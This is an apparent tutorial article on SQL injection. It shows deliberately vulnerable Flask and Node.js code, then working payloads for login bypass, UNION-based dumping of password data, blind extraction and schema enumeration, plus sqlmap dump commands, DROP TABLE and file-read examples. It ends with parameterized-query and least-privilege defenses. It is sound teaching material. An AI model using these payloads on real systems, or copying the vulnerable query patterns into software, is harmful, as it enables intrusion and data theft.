SQL Injection Fundamentals: How Databases Get Hacked

SQL injection is one of those vulnerabilities that feels almost too simple to be real—until you watch it dump an entire user table in seconds. At its core, SQL injection happens when an application mixes untrusted input with database queries in unsafe ways, allowing an attacker to change the meaning of the SQL statement. The result can range from authentication bypass to full data theft, account takeover, destructive writes, and sometimes even remote code execution through database features. In this article, we’ll break down how SQL injection works, what vulnerable code looks like, how attackers actually exploit it, and—most importantly—how to shut it down correctly.

Why SQL Injection Still Matters

SQL injection has been around for decades, and yet it still shows up in production systems, bug bounty reports, internal apps, admin panels, and rushed APIs. Why?

Because the root cause is common:

• Developers build SQL strings dynamically
• User input gets concatenated into queries
• Edge cases are missed
• Legacy code survives forever
• “We use an ORM” creates false confidence

SQL injection is not just a “PHP 2005” problem. It can appear in:

• Login forms
• Search boxes
• URL parameters
• JSON API bodies
• HTTP headers
• Cookie values
• Background jobs that build queries from external data

If your app talks to a relational database and constructs queries unsafely, SQLi is still on the table.

The Core Idea: Data Becomes Code

A SQL query should treat user input as data. SQL injection happens when the database interprets that input as part of the query logic.

Here’s a normal query:

SELECT * FROM users WHERE username = 'alice' AND password = 'correcthorsebatterystaple';

Now imagine a developer builds that query by concatenating strings:

query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"

If an attacker supplies this as the username:

' OR '1'='1

The query becomes:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'whatever';

Depending on operator precedence and query structure, this can turn a targeted lookup into a condition that always evaluates to true.

That’s the essence of SQL injection: attacker-controlled input changes the query’s logic.

A Minimal Vulnerable Example

Let’s use a simple Flask app with SQLite for demonstration.

from flask import Flask, request
import sqlite3

app = Flask(__name__)

@app.route("/login", methods=["POST"])
def login():
    username = request.form["username"]
    password = request.form["password"]

    conn = sqlite3.connect("app.db")
    cur = conn.cursor()

    query = f"SELECT id, username FROM users WHERE username = '{username}' AND password = '{password}'"
    print(query)

    cur.execute(query)
    user = cur.fetchone()
    conn.close()

    if user:
        return f"Welcome {user[1]}"
    return "Invalid credentials", 401

This is vulnerable because username and password are inserted directly into the SQL string.

A normal request might send:

curl -X POST http://localhost:5000/login \
  -d "username=alice&password=secret123"

But an attacker could send:

curl -X POST http://localhost:5000/login \
  -d "username=' OR '1'='1' --&password=irrelevant"

That may produce a query like:

SELECT id, username FROM users WHERE username = '' OR '1'='1' --' AND password = 'irrelevant'

The -- starts a SQL comment in many databases, causing the rest of the line to be ignored. If the database accepts this syntax, the password check vanishes.

Anatomy of a Classic SQLi Payload

A lot of beginner payloads look like magic strings. They’re not. Each piece has a job.

Consider:

' OR 1=1 --

Breakdown:

• ' closes the original string
• OR 1=1 adds a condition that is always true
• -- comments out the rest of the query

If the original query was:

SELECT * FROM users WHERE username = '<input>' AND password = '<input>';

Then the payload transforms the query structure.

Other common payload patterns include:

' OR 'a'='a
' UNION SELECT 1,2,3 --
admin' --
') OR ('1'='1

Attackers adapt payloads depending on:

• Whether the input is inside quotes
• Whether the backend is MySQL, PostgreSQL, SQL Server, Oracle, SQLite
• How many columns the original query returns
• Whether errors are visible
• Whether comments are allowed in that context

Types of SQL Injection

SQL injection is not one single technique. There are several major categories.

In-Band SQL Injection

This is the most straightforward form: the attacker sends payloads and gets results back in the same HTTP response.

Common forms:

• Error-based SQLi
• Union-based SQLi

Error-Based SQLi

If the application exposes database errors, attackers can use them to learn the query structure, database type, table names, and more.

Example payload:

'

This often causes a syntax error like:

SQL syntax error near "'"

That alone confirms input is reaching SQL unsafely.

More advanced payloads may intentionally trigger conversion or type errors to leak data through the error message.

Union-Based SQLi

If the original query returns rows to the page, attackers may append a UNION SELECT to inject their own result set.

Suppose the app executes:

SELECT name, description FROM products WHERE category = '<input>';

An attacker might try:

' UNION SELECT username, password FROM users --

Resulting query:

SELECT name, description FROM products WHERE category = '' UNION SELECT username, password FROM users --';

If the column counts and types line up, user data may be rendered directly in the page.

A common workflow is to first determine the number of columns:

' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --

When ORDER BY n fails, the attacker knows they exceeded the column count.

Or they may use:

' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL --

and adjust until the query succeeds.

Blind SQL Injection

Sometimes the app doesn’t display query results or database errors. That doesn’t mean it’s safe. It means the attacker has to infer the answer indirectly.

Blind SQLi usually comes in two flavors:

• Boolean-based
• Time-based

Boolean-Based Blind SQLi

The attacker sends payloads that evaluate to true or false and observes differences in the response.

Example:

' AND 1=1 --
' AND 1=2 --

If the page behaves differently between the two, the attacker has a side channel.

They can then ask questions one bit at a time:

' AND SUBSTR((SELECT username FROM users LIMIT 1),1,1)='a' --

If the page returns normally, the first character of the first username is a. Repeat enough times and data can be extracted character by character.

Time-Based Blind SQLi

If the response body doesn’t change, an attacker may use timing delays.

MySQL example:

' AND IF(1=1, SLEEP(5), 0) --

PostgreSQL example:

' AND CASE WHEN 1=1 THEN pg_sleep(5) ELSE pg_sleep(0) END --

If the server pauses for 5 seconds, the condition was true.

From there, attackers can ask questions like:

' AND IF(SUBSTRING((SELECT database()),1,1)='a', SLEEP(5), 0) --

This is slow, but very effective when no direct output is available.

Out-of-Band SQL Injection

In some cases, the attacker can force the database to make external network requests—DNS, HTTP, SMB—and leak data that way.

This is more advanced and highly dependent on:

• Database type
• Permissions
• Network egress
• Enabled features

For example, SQL Server and Oracle have had features that can be abused for out-of-band exfiltration if misconfigured.

How Attackers Enumerate a Database

Once an attacker confirms SQL injection, they usually move through a predictable sequence:

1. Confirm injection point
2. Identify database type
3. Determine query structure
4. Enumerate schema
5. Extract interesting data
6. Escalate impact if possible

Step 1: Confirm the Injection

Simple test payloads:

'
''
' OR 1=1 --
' AND 1=2 --

The attacker watches for:

• SQL errors
• Different page content
• Different HTTP status codes
• Timing differences

Step 2: Fingerprint the Database

Different databases support different functions and syntax.

Examples:

' UNION SELECT @@version --
' UNION SELECT version() --
' AND SLEEP(5) --
' AND pg_sleep(5) --

Useful clues include:

• MySQL: version(), database(), SLEEP()
• PostgreSQL: version(), current_database(), pg_sleep()
• SQL Server: @@version, WAITFOR DELAY
• Oracle: v$version, dbms_pipe.receive_message

Step 3: Learn the Column Count

For union-based attacks:

' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --

Or:

' UNION SELECT NULL --
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL --

Step 4: Find Which Columns Are Reflected

Attackers inject visible markers:

' UNION SELECT 'AAA','BBB','CCC' --

If BBB appears in the page, they know the second column is reflected to the user.

Step 5: Enumerate Tables and Columns

For MySQL, the information_schema database is a goldmine.

Example payloads:

' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = database() --

' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users' --

For PostgreSQL:

' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = 'public' --

Step 6: Dump Data

Once table and column names are known:

' UNION SELECT username, password FROM users --

Or more targeted:

' UNION SELECT email, reset_token FROM users --

A Practical Example: Search Endpoint Gone Wrong

Imagine a product search feature:

app.get("/search", async (req, res) => {
  const q = req.query.q;
  const sql = `SELECT id, name, price FROM products WHERE name LIKE '%${q}%'`;
  const result = await db.query(sql);
  res.json(result.rows);
});

Looks harmless. It’s not.

A normal request:

curl "http://localhost:3000/search?q=laptop"

Malicious request:

curl "http://localhost:3000/search?q=%25'%20UNION%20SELECT%201,username,password%20FROM%20users%20--"

Decoded payload:

%' UNION SELECT 1,username,password FROM users --

Resulting SQL:

SELECT id, name, price FROM products WHERE name LIKE '%%' UNION SELECT 1,username,password FROM users --%'

If successful, the API may return usernames and password hashes in JSON.

This is a common pattern in APIs: the response format is machine-readable, which can make exfiltration even easier.

Tools Attackers Use

Manual testing matters because it teaches how the vulnerability works. But in the real world, attackers often automate.

sqlmap

sqlmap is the canonical SQL injection exploitation tool. It can detect injection, fingerprint the database, enumerate schema, and dump data.

Example usage against a GET parameter:

sqlmap -u "http://target.local/item?id=1" --batch

Against a POST request:

sqlmap -u "http://target.local/login" \
  --data="username=alice&password=test" \
  --batch

To enumerate databases:

sqlmap -u "http://target.local/item?id=1" --dbs --batch

To list tables in a database:

sqlmap -u "http://target.local/item?id=1" -D appdb --tables --batch

To dump a table:

sqlmap -u "http://target.local/item?id=1" -D appdb -T users --dump --batch

Use tools like this only in environments where you have explicit authorization. On real systems without permission, this is illegal and unethical.

Impact: What SQL Injection Can Lead To

Developers sometimes think, “Okay, maybe someone can mess with a query.” The actual impact is usually much worse.

SQL injection can enable:

• Authentication bypass
• Exposure of user records
• Theft of password hashes
• Session/token leakage
• Data modification
• Data deletion
• Privilege escalation
• Access to internal metadata
• Server-side file reads in some DBs
• Command execution in extreme cases

A few examples:

DROP TABLE users;

UPDATE users SET is_admin = true WHERE username = 'attacker';

SELECT load_file('/etc/passwd');

Whether these work depends on database privileges and configuration, but the point is simple: once query logic is compromised, impact is constrained mostly by the database account’s permissions.

The Right Defense: Parameterized Queries

The primary defense against SQL injection is parameterized queries, also called prepared statements.

This means the SQL structure is defined separately from the user-supplied values. The database receives input as data, not executable SQL syntax.

Python Example

Unsafe:

query = f"SELECT id FROM users WHERE username = '{username}'"
cur.execute(query)

Safe:

query = "SELECT id FROM users WHERE username = ?"
cur.execute(query, (username,))

Node.js Example

Unsafe:

const sql = `SELECT id, name FROM products WHERE category = '${category}'`;
const result = await db.query(sql);

Safe with PostgreSQL:

const sql = "SELECT id, name FROM products WHERE category = $1";
const result = await db.query(sql, [category]);

Java Example

String sql = "SELECT id, username FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

That is the standard. Not escaping. Not regex filtering. Not “replacing quotes.” Parameterization.

Important Caveat: You Can’t Parameterize Everything

Prepared statements work for values, but not usually for SQL identifiers like:

• Table names
• Column names
• ORDER BY direction
• Dynamic SQL fragments

This means code like this is still dangerous:

sort = request.args.get("sort")
query = f"SELECT id, name FROM products ORDER BY {sort}"

Even if all other fields are parameterized, this can still be injectable.

The correct pattern is allowlisting:

allowed = {"name", "price", "created_at"}
sort = request.args.get("sort", "name")

if sort not in allowed:
    sort = "name"

query = f"SELECT id, name FROM products ORDER BY {sort}"

For sort direction:

direction = request.args.get("dir", "asc").lower()
if direction not in {"asc", "desc"}:
    direction = "asc"

If a piece of SQL syntax cannot be parameterized, validate it against a strict allowlist.

Additional Defenses That Matter

Parameterized queries are the big one, but not the only one.

Use Least Privilege Database Accounts

Your web app should not connect as a database superuser.

Bad:

• App account can create users
• App account can drop tables
• App account can read every schema
• App account can execute dangerous file/network functions

Better:

• Read/write only what the app needs
• Separate accounts by service if possible
• No admin privileges for the application user

If SQL injection happens, least privilege limits blast radius.

Don’t Store Plaintext Passwords

SQL injection often leads to credential theft. If passwords are stored in plaintext, the incident becomes catastrophic immediately.

Use strong password hashing:

• Argon2
• bcrypt
• scrypt
• PBKDF2 with sane parameters

Never:

password = "secret123"

Always store a salted hash.

Suppress Verbose Database Errors in Production

Detailed SQL errors help attackers.

Bad production response:

You have an error in your SQL syntax near '' OR 1=1 --'

Good practice:

• Return generic errors to users
• Log details securely on the server
• Monitor for repeated malformed input patterns

Input Validation Helps, But Is Not the Primary Fix

Validation is useful for reducing attack surface and catching nonsense early.

Examples:

• IDs should be integers
• Email fields should look like emails
• Enum fields should match known values

But validation alone is not a SQLi defense. Attackers are creative, and validators are often bypassed. Use validation as a supporting control, not a substitute for parameterization.

Use Modern Framework Features Correctly

Many ORMs and query builders are safe by default—until developers drop into raw SQL.

Examples of risky patterns:

sequelize.query(`SELECT * FROM users WHERE id = ${id}`);

session.execute(f"SELECT * FROM users WHERE name = '{name}'")

If your framework supports bind parameters, use them. “Using an ORM” does not automatically mean “immune to SQL injection.”

How to Spot SQLi in Code Review

When reviewing code, look for these red flags:

• String concatenation in SQL queries
• f-strings or template literals building SQL
• Raw query execution paths
• Dynamic WHERE, ORDER BY, or LIMIT clauses
• Stored procedures that build dynamic SQL internally
• Search/report/export features with lots of filtering options

Examples to flag immediately:

sql = "SELECT * FROM users WHERE id = " + user_id

const sql = `DELETE FROM posts WHERE id = ${req.params.id}`;

$query = "SELECT * FROM accounts WHERE email = '$_POST[email]'";

Even if the input “should be numeric,” if it’s concatenated, it’s suspect.

A Secure Rewrite of the Login Example

Here’s the earlier Flask example, fixed.

from flask import Flask, request
import sqlite3

app = Flask(__name__)

@app.route("/login", methods=["POST"])
def login():
    username = request.form["username"]
    password = request.form["password"]

    conn = sqlite3.connect("app.db")
    cur = conn.cursor()

    query = "SELECT id, username FROM users WHERE username = ? AND password = ?"
    cur.execute(query, (username, password))
    user = cur.fetchone()
    conn.close()

    if user:
        return f"Welcome {user[1]}"
    return "Invalid credentials", 401

This version prevents SQL injection because the placeholders are bound safely.

That said, a real login system should also avoid checking plaintext passwords in SQL. A better design is:

1. Query by username
2. Retrieve password hash
3. Verify with a password hashing function in application code

Final Takeaways

SQL injection is fundamentally about trust boundaries. The application accepts input from the outside world, then hands that input to a database engine that speaks a powerful language. If untrusted data is allowed to alter query structure, the attacker gets to speak that language too.

Remember the essentials:

• SQLi happens when user input is concatenated into SQL
• Attackers exploit it through error-based, union-based, blind, or out-of-band techniques
• The impact can include auth bypass, data theft, and destructive writes
• The correct fix is parameterized queries
• For dynamic identifiers or sort fields, use strict allowlists
• Run the app with least-privilege database credentials
• Don’t trust “we use an ORM” as a complete defense

If you’re a developer, your mission is simple: make sure user input stays data. If you’re a junior security engineer, learn to recognize the patterns—because once you can read the shape of a vulnerable query, SQL injection stops looking like black magic and starts looking like what it really is: unsafe string handling with very expensive consequences.